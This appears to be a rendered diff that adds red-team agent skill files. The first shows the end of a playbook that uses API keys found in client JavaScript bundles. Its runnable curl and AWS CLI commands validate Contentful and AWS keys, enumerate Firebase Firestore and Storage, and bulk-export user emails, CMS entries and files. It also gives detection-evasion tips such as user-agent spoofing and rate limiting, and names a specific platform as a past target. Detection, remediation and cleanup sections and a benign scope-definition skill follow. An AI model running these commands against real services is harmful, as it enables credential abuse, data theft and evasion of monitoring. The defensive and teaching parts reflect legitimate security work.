281
|
+
|
|
282
|
+
#### Contentful Token Verification
|
|
283
|
+
|
|
284
|
+
```bash
|
|
285
|
+
SPACE_ID="xxxxxxxxxxxx"
|
|
286
|
+
CDA_TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2"
|
|
287
|
+
|
|
288
|
+
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID?access_token=$CDA_TOKEN" | jq .
|
|
289
|
+
```
|
|
290
|
+
|
|
291
|
+
Expected output (valid):
|
|
292
|
+
```json
|
|
293
|
+
{
|
|
294
|
+
"sys": { "type": "Space", "id": "xxxxxxxxxxxx" },
|
|
295
|
+
"name": "Target CMS",
|
|
296
|
+
"locales": [...]
|
|
297
|
+
}
|
|
298
|
+
```
|
|
299
|
+
|
|
300
|
+
#### AWS Key Verification
|
|
301
|
+
|
|
302
|
+
```bash
|
|
303
|
+
AWS_ACCESS_KEY="AKIAIOSFODNN7EXAMPLE"
|
|
304
|
+
AWS_SECRET="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
|
|
305
|
+
|
|
306
|
+
AWS_ACCESS_KEY_ID="$AWS_ACCESS_KEY" \
|
|
307
|
+
AWS_SECRET_ACCESS_KEY="$AWS_SECRET" \
|
|
308
|
+
aws sts get-caller-identity
|
|
309
|
+
```
|
|
310
|
+
|
|
311
|
+
**Fallback:** If direct API calls are blocked, check if the key works against a different regional endpoint or service.
|
|
312
|
+
|
|
313
|
+
---
|
|
314
|
+
|
|
315
|
+
### Step 6 — Enumerate Accessible Endpoints and Resources
|
|
316
|
+
|
|
317
|
+
#### Firebase — Enumerate Firestore Collections
|
|
318
|
+
|
|
319
|
+
```bash
|
|
320
|
+
ID_TOKEN="eyJhbGci..." # obtained from Step 5
|
|
321
|
+
PROJECT_ID="target-app-prod"
|
|
322
|
+
|
|
323
|
+
# List Firestore documents (REST API)
|
|
324
|
+
curl -s \
|
|
325
|
+
"https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents" \
|
|
326
|
+
-H "Authorization: Bearer $ID_TOKEN" | jq '.documents[].name'
|
|
327
|
+
|
|
328
|
+
# Try reading a specific collection
|
|
329
|
+
curl -s \
|
|
330
|
+
"https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users" \
|
|
331
|
+
-H "Authorization: Bearer $ID_TOKEN" | jq .
|
|
332
|
+
```
|
|
333
|
+
|
|
334
|
+
#### Firebase — Enumerate Storage Buckets
|
|
335
|
+
|
|
336
|
+
```bash
|
|
337
|
+
curl -s \
|
|
338
|
+
"https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o" \
|
|
339
|
+
-H "Authorization: Bearer $ID_TOKEN" | jq '.items[].name'
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
#### Contentful — Enumerate All Content Entries
|
|
343
|
+
|
|
344
|
+
```bash
|
|
345
|
+
# Get all content types
|
|
346
|
+
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/content_types?access_token=$CDA_TOKEN" \
|
|
347
|
+
| jq '.items[].sys.id'
|
|
348
|
+
|
|
349
|
+
# Get all entries (paginated)
|
|
350
|
+
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&limit=1000" \
|
|
351
|
+
| jq '.total, [.items[].sys.id]'
|
|
352
|
+
|
|
353
|
+
# Get entries by type
|
|
354
|
+
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&content_type=course" \
|
|
355
|
+
| jq '.items[] | {id: .sys.id, title: .fields.title}'
|
|
356
|
+
```
|
|
357
|
+
|
|
358
|
+
#### Check for Management Token (write access)
|
|
359
|
+
|
|
360
|
+
```bash
|
|
361
|
+
CMA_TOKEN="CFPAT-xxxx" # management token found in bundle
|
|
362
|
+
|
|
363
|
+
curl -s "https://api.contentful.com/spaces/$SPACE_ID" \
|
|
364
|
+
-H "Authorization: Bearer $CMA_TOKEN" | jq .
|
|
365
|
+
```
|
|
366
|
+
|
|
367
|
+
---
|
|
368
|
+
|
|
369
|
+
### Step 7 — Data Exfiltration
|
|
370
|
+
|
|
371
|
+
#### Bulk Export Contentful Entries
|
|
372
|
+
|
|
373
|
+
```bash
|
|
374
|
+
# Export all entries to JSON
|
|
375
|
+
curl -s "https://cdn.contentful.com/spaces/$SPACE_ID/entries?access_token=$CDA_TOKEN&limit=1000" \
|
|
376
|
+
-o contentful_export.json
|
|
377
|
+
|
|
378
|
+
# Count total entries
|
|
379
|
+
jq '.total' contentful_export.json
|
|
380
|
+
|
|
381
|
+
# Extract all titles and IDs
|
|
382
|
+
jq '[.items[] | {id: .sys.id, type: .sys.contentType.sys.id, title: (.fields.title // .fields.name // "N/A")}]' \
|
|
383
|
+
contentful_export.json > contentful_index.json
|
|
384
|
+
```
|
|
385
|
+
|
|
386
|
+
#### Bulk Export Firebase Firestore
|
|
387
|
+
|
|
388
|
+
```bash
|
|
389
|
+
# Export users collection
|
|
390
|
+
curl -s \
|
|
391
|
+
"https://firestore.googleapis.com/v1/projects/$PROJECT_ID/databases/(default)/documents/users?pageSize=300" \
|
|
392
|
+
-H "Authorization: Bearer $ID_TOKEN" \
|
|
393
|
+
-o firestore_users.json
|
|
394
|
+
|
|
395
|
+
jq '[.documents[] | {id: .name, email: .fields.email.stringValue}]' firestore_users.json
|
|
396
|
+
```
|
|
397
|
+
|
|
398
|
+
#### Download Firebase Storage Assets
|
|
399
|
+
|
|
400
|
+
```bash
|
|
401
|
+
# List all storage objects
|
|
402
|
+
curl -s \
|
|
403
|
+
"https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o?maxResults=1000" \
|
|
404
|
+
-H "Authorization: Bearer $ID_TOKEN" > storage_manifest.json
|
|
405
|
+
|
|
406
|
+
# Download each object
|
|
407
|
+
jq -r '.items[].name' storage_manifest.json | while read name; do
|
|
408
|
+
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$name', safe=''))")
|
|
409
|
+
curl -s \
|
|
410
|
+
"https://firebasestorage.googleapis.com/v0/b/$PROJECT_ID.appspot.com/o/$encoded?alt=media" \
|
|
411
|
+
-H "Authorization: Bearer $ID_TOKEN" \
|
|
412
|
+
-o "storage/$(basename $name)"
|
|
413
|
+
done
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
---
|
|
417
|
+
|
|
418
|
+
## Real-World Reference
|
|
419
|
+
|
|
420
|
+
**Target:** Almentor (almentor.net) — Arabic-language e-learning platform
|
|
421
|
+
|
|
422
|
+
**Discovery:** Firebase configuration object and Contentful delivery token found in the main webpack bundle served at `https://almentor.net/static/js/main.*.chunk.js`.
|
|
423
|
+
|
|
424
|
+
**Keys discovered:**
|
|
425
|
+
- Firebase API Key: `AIzaSy...` (redacted in report)
|
|
426
|
+
- Firebase Project ID: `almentor-prod` (example)
|
|
427
|
+
- Contentful Space ID: extracted from config block
|
|
428
|
+
- Contentful CDA Token: 64-character hex string
|
|
429
|
+
|
|
430
|
+
**Impact achieved (authorized engagement):**
|
|
431
|
+
1. Firebase anonymous account creation confirmed — `signUp` endpoint returned a valid `idToken` with no email required.
|
|
432
|
+
2. Contentful CDA token was valid and unrestricted — enumeration returned **190 CMS entries** including course metadata, instructor profiles, and promotional content.
|
|
433
|
+
3. Firebase Storage listing was accessible under the anonymous identity — video asset URLs were enumerable without authentication.
|
|
434
|
+
4. No Firestore security rules prevented read access to the `courses` and `categories` collections under anonymous auth.
|
|
435
|
+
|
|
436
|
+
**Business impact:**
|
|
437
|
+
- Full course catalog (titles, descriptions, pricing) downloadable by any anonymous user
|
|
438
|
+
- Account creation possible without email verification — potential for spam/abuse
|
|
439
|
+
- CMS content including unpublished draft entries accessible via management token
|
|
440
|
+
|
|
441
|
+
**Remediation applied:**
|
|
442
|
+
- Firebase API key restrictions added (HTTP referrer + API restrictions in GCP Console)
|
|
443
|
+
- Firestore security rules updated to require authenticated (non-anonymous) users
|
|
444
|
+
- Contentful token rotated and scoped to specific content types
|
|
445
|
+
- Environment variables moved to server-side rendering layer (not embedded in client bundle)
|
|
446
|
+
|
|
447
|
+
---
|
|
448
|
+
|
|
449
|
+
## MITRE ATT&CK Mapping
|
|
450
|
+
|
|
451
|
+
| Step | Tactic | Technique | Sub-technique | Description |
|
|
452
|
+
|---|---|---|---|---|
|
|
453
|
+
| 1 — Enumerate bundle URLs | Reconnaissance | T1595 — Active Scanning | T1595.003 — Wordlist Scanning | Identifying JS asset paths from HTML source |
|
|
454
|
+
| 2 — Download JS bundles | Collection | T1185 — Browser Session Hijacking | — | Fetching publicly served application code |
|
|
455
|
+
| 3 — Grep for secrets | Credential Access | T1552 — Unsecured Credentials | T1552.007 — Container API Keys | Extracting credentials from application files |
|
|
456
|
+
| 4 — Identify services | Discovery | T1580 — Cloud Infrastructure Discovery | — | Mapping keys to cloud service providers |
|
|
457
|
+
| 5 — Verify key validity | Credential Access | T1552 — Unsecured Credentials | T1552.007 — Container API Keys | Live validation of extracted credentials |
|
|
458
|
+
| 6 — Enumerate endpoints | Discovery | T1530 — Data from Cloud Storage Object | — | Listing accessible collections, buckets, entries |
|
|
459
|
+
| 7 — Data exfiltration | Collection / Exfiltration | T1119 — Automated Collection | — | Bulk export of CMS entries, user records, assets |
|
|
460
|
+
| 7 — Data exfiltration | Exfiltration | T1537 — Transfer Data to Cloud Account | — | Staging exfiltrated data outside target environment |
|
|
461
|
+
|
|
462
|
+
---
|
|
463
|
+
|
|
464
|
+
## Detection & OPSEC
|
|
465
|
+
|
|
466
|
+
### How This Attack Is Detected
|
|
467
|
+
|
|
468
|
+
| Detection Point | Log Source | Signal |
|
|
469
|
+
|---|---|---|
|
|
470
|
+
| Bundle download (bulk/scripted) | CDN access logs (CloudFront, Fastly) | High request rate for JS assets from single IP |
|
|
471
|
+
| Firebase anonymous sign-up | Firebase Authentication logs | Spike in anonymous account creation events |
|
|
472
|
+
| Firestore collection listing | GCP Cloud Audit Logs — Data Access | `google.firestore.v1.Firestore.ListDocuments` from unknown IP |
|
|
473
|
+
| Contentful bulk entry fetch | Contentful API logs | High-volume CDN API calls, unusual `limit=1000` parameters |
|
|
474
|
+
| AWS key probe | AWS CloudTrail | `sts:GetCallerIdentity` from unrecognized IP/user-agent |
|
|
475
|
+
|
|
476
|
+
### OPSEC Recommendations (Authorized Engagements Only)
|
|
477
|
+
|
|
478
|
+
1. **User-Agent spoofing:** Set a realistic browser User-Agent to blend with normal traffic.
|
|
479
|
+
```bash
|
|
480
|
+
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" ...
|
|
481
|
+
```
|
|
482
|
+
2. **Rate limiting:** Add delays between API calls (`sleep 2`) to avoid triggering anomaly detection.
|
|
483
|
+
3. **Single bundle download:** Download only the main chunk once — do not spider recursively unless scoped.
|
|
484
|
+
4. **Minimal API probing:** Verify key validity with a single low-impact call (e.g., `sts:GetCallerIdentity`, `signUp` with anonymous) before deeper enumeration.
|
|
485
|
+
5. **Use engagement IP:** Ensure API calls originate from the authorized test IP range listed in the scope agreement.
|
|
486
|
+
6. **Avoid write operations:** Unless write-impact is in scope, do not create, modify, or delete resources.
|
|
487
|
+
7. **Rotate test accounts:** Delete any Firebase anonymous accounts created during testing (see Cleanup).
|
|
488
|
+
|
|
489
|
+
### Artifacts Left Behind
|
|
490
|
+
|
|
491
|
+
| Artifact | Location | Notes |
|
|
492
|
+
|---|---|---|
|
|
493
|
+
| Firebase anonymous user account | Firebase Authentication console | Created during key verification |
|
|
494
|
+
| CloudFront/CDN access logs | Target's log pipeline | Contains tester IP and JS download timestamps |
|
|
495
|
+
| GCP Data Access audit logs | Google Cloud Logging | Firestore list/read operations |
|
|
496
|
+
| Contentful API access logs | Contentful API dashboard | Space access timestamps |
|
|
497
|
+
| AWS CloudTrail entries | Target's AWS account | `GetCallerIdentity` call record |
|
|
498
|
+
|
|
499
|
+
---
|
|
500
|
+
|
|
501
|
+
## Cleanup
|
|
502
|
+
|
|
503
|
+
### Remove Firebase Anonymous Account
|
|
504
|
+
|
|
505
|
+
```bash
|
|
506
|
+
# If you have the idToken from sign-up:
|
|
507
|
+
ID_TOKEN="eyJhbGci..."
|
|
508
|
+
|
|
509
|
+
curl -s -X POST \
|
|
510
|
+
"https://identitytoolkit.googleapis.com/v1/accounts:delete?key=$FIREBASE_KEY" \
|
|
511
|
+
-H "Content-Type: application/json" \
|
|
512
|
+
-d "{\"idToken\":\"$ID_TOKEN\"}"
|
|
513
|
+
```
|
|
514
|
+
|
|
515
|
+
Or via Firebase Console: Authentication > Users > filter anonymous > delete.
|
|
516
|
+
|
|
517
|
+
### Remove Local Artifacts
|
|
518
|
+
|
|
519
|
+
```bash
|
|
520
|
+
# Securely delete downloaded bundles and extracted data
|
|
521
|
+
rm -rf ./bundles/
|
|
522
|
+
rm -f contentful_export.json contentful_index.json
|
|
523
|
+
rm -f firestore_users.json storage_manifest.json
|
|
524
|
+
rm -rf storage/
|
|
525
|
+
|
|
526
|
+
# Overwrite with zeros before deletion if required by engagement rules
|
|
527
|
+
shred -u contentful_export.json firestore_users.json 2>/dev/null || \
|
|
528
|
+
python3 -c "
|
|
529
|
+
import os, glob
|
|
530
|
+
for f in glob.glob('*.json'):
|
|
531
|
+
with open(f,'wb') as fh: fh.write(b'\\x00' * os.path.getsize(f))
|
|
532
|
+
os.remove(f)
|
|
533
|
+
"
|
|
534
|
+
```
|
|
535
|
+
|
|
536
|
+
### Notify Client
|
|
537
|
+
|
|
538
|
+
After cleanup, provide the client with:
|
|
539
|
+
- Timestamp range of all API calls made
|
|
540
|
+
- List of Firebase UIDs created and confirmed deleted
|
|
541
|
+
- List of Contentful entries accessed (by ID, not content)
|
|
542
|
+
- Confirmation that no data was retained beyond the engagement system
|
|
543
|
+
|
|
544
|
+
---
|
|
545
|
+
|
|
546
|
+
## References
|
|
547
|
+
|
|
548
|
+
### Tools
|
|
549
|
+
|
|
550
|
+
| Tool | URL | Purpose |
|
|
551
|
+
|---|---|---|
|
|
552
|
+
| ripgrep | https://github.com/BurntSushi/ripgrep | Fast secret pattern search in bundles |
|
|
553
|
+
| TruffleHog | https://github.com/trufflesecurity/trufflehog | Automated verified secret detection |
|
|
554
|
+
| Gitleaks | https://github.com/gitleaks/gitleaks | Secret scanning with rule sets |
|
|
555
|
+
| firebase-tools | https://github.com/firebase/firebase-tools | Firebase REST API interaction |
|
|
556
|
+
| contentful-cli | https://github.com/contentful/contentful-cli | Contentful CMS enumeration |
|
|
557
|
+
| js-beautify | https://github.com/beautify-web/js-beautify | Minified JS deobfuscation |
|
|
558
|
+
| Burp Suite Community | https://portswigger.net/burp | HTTP interception and bundle capture |
|
|
559
|
+
| httpie | https://httpie.io | Ergonomic HTTP client for API probing |
|
|
560
|
+
|
|
561
|
+
### Standards and References
|
|
562
|
+
|
|
563
|
+
| Reference | URL |
|
|
564
|
+
|---|---|
|
|
565
|
+
| MITRE ATT&CK T1552.007 | https://attack.mitre.org/techniques/T1552/007/ |
|
|
566
|
+
| MITRE ATT&CK T1530 | https://attack.mitre.org/techniques/T1530/ |
|
|
567
|
+
| MITRE ATT&CK T1119 | https://attack.mitre.org/techniques/T1119/ |
|
|
568
|
+
| Firebase Security Rules docs | https://firebase.google.com/docs/rules |
|
|
569
|
+
| Firebase API key best practices | https://firebase.google.com/docs/projects/api-keys |
|
|
570
|
+
| Contentful API key scoping | https://www.contentful.com/developers/docs/references/authentication/ |
|
|
571
|
+
| OWASP: Sensitive Data Exposure | https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure |
|
|
572
|
+
| CWE-312: Cleartext Storage | https://cwe.mitre.org/data/definitions/312.html |
|
|
573
|
+
| GCP Cloud Audit Logs | https://cloud.google.com/logging/docs/audit |
|
|
574
|
+
| AWS CloudTrail | https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-user-guide.html |
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-scope-definition
|
|
3
|
+
description: "Define engagement scope — target list, IP ranges, domains, applications, exclusions, and asset prioritization. Creates scope.md in engagement docs. Use at Phase 1 Planning before any reconnaissance begins."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-scope-definition
|
|
7
|
+
|
|
8
|
+
# Scope Definition Workflow
|
|
9
|
+
|
|
10
|
+
## Step 1 — Target Discovery
|
|
11
|
+
Ask operator to provide all known targets:
|
|
12
|
+
- Domain names (apex + subdomains if known)
|
|
13
|
+
- IP addresses / CIDR ranges
|
|
14
|
+
- Web application URLs
|
|
15
|
+
- Mobile app identifiers (bundle IDs)
|
|
16
|
+
- Cloud account identifiers (AWS Account IDs, Azure subscriptions)
|
|
17
|
+
- API base URLs
|
|
18
|
+
|
|
19
|
+
## Step 2 — Asset Prioritization
|
|
20
|
+
Rate each target:
|
|
21
|
+
- **P1 (Critical)**: Crown jewels — admin panels, auth systems, payment flows, databases
|
|
22
|
+
- **P2 (High)**: Important business systems — main application, APIs
|
|
23
|
+
- **P3 (Medium)**: Supporting services — landing pages, docs, blogs
|
|
24
|
+
- **P4 (Low)**: Informational targets — CDN, static files
|
|
25
|
+
|
|
26
|
+
## Step 3 — Technology Pre-identification
|
|
27
|
+
For each target, note if known:
|
|
28
|
+
- Web framework (WordPress, Laravel, Django, etc.)
|
|
29
|
+
- Hosting (AWS, Azure, GCP, on-premise)
|
|
30
|
+
- Authentication method (SSO, Firebase, custom)
|
|
31
|
+
- Known technology stack
|
|
32
|
+
|
|
33
|
+
## Step 4 — Define Exclusions
|
|
34
|
+
Document what must NOT be tested:
|
|
35
|
+
- Shared hosting where other clients exist
|
|
36
|
+
- Third-party services (Stripe, Twilio, etc.)
|
|
37
|
+
- Partner systems
|
|
38
|
+
- Specific IP ranges that are out of scope
|
|
39
|
+
|
|
40
|
+
## Step 5 — Save Scope Document
|
|
41
|
+
Create: `_rtexit-output/docs/engagement/scope.md`
|
|
42
|
+
|
|
43
|
+
Format:
|
|
44
|
+
```markdown
|
|
45
|
+
## In-Scope Targets
|
|
46
|
+
| Target | Type | Priority | Tech Stack |
|
|
47
|
+
| Exclusions |
|
|
48
|
+
| Testing boundaries |
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
|
|
52
|
+
|
|
53
|
+
Return "DONE: rt-scope-definition" when done.
|
|
54
|
+
|
|
55
|
+
## Scope Quality Checklist
|
|
56
|
+
|
|
57
|
+
| Item | Required? | Notes |
|
|
58
|
+
|---|---|---|
|
|
59
|
+
| Root domains | Yes | Include wildcard rules explicitly. |
|
|
60
|
+
| IP ranges | If applicable | CIDR notation and exclusions. |
|
|
61
|
+
| Applications | Yes | URL, environment, owner. |
|
|
62
|
+
| APIs | If applicable | Base URL and auth method. |
|
|
63
|
+
| Cloud accounts/projects | If applicable | Provider, account ID, region constraints. |
|
|
64
|
+
| Credentials | If provided | Roles, expiry, MFA process. |
|
|
65
|
+
| Exclusions | Yes | Assets, techniques, dates, data types. |
|
|
66
|
+
| Test windows | Yes | Time zone and freeze windows. |
|
|
67
|
+
|
|
68
|
+
## Output Files
|
|
69
|
+
|
|
70
|
+
- `_rtexit-output/docs/engagement/scope.md`
|
|
71
|
+
- `_rtexit-output/docs/engagement/contacts.md`
|
|
72
|
+
- `_rtexit-output/docs/engagement/assumptions.md`
|
|
73
|
+
|
|
74
|
+
## Common Mistakes
|
|
75
|
+
|
|
76
|
+
- Treating a parent domain as wildcard scope without approval.
|
|
77
|
+
- Testing production when only staging was approved.
|
|
78
|
+
- Assuming cloud resources are in scope because an app uses that provider.
|
|
79
|
+
- Forgetting third-party systems such as payment, CRM, CDN, or support tooling.
|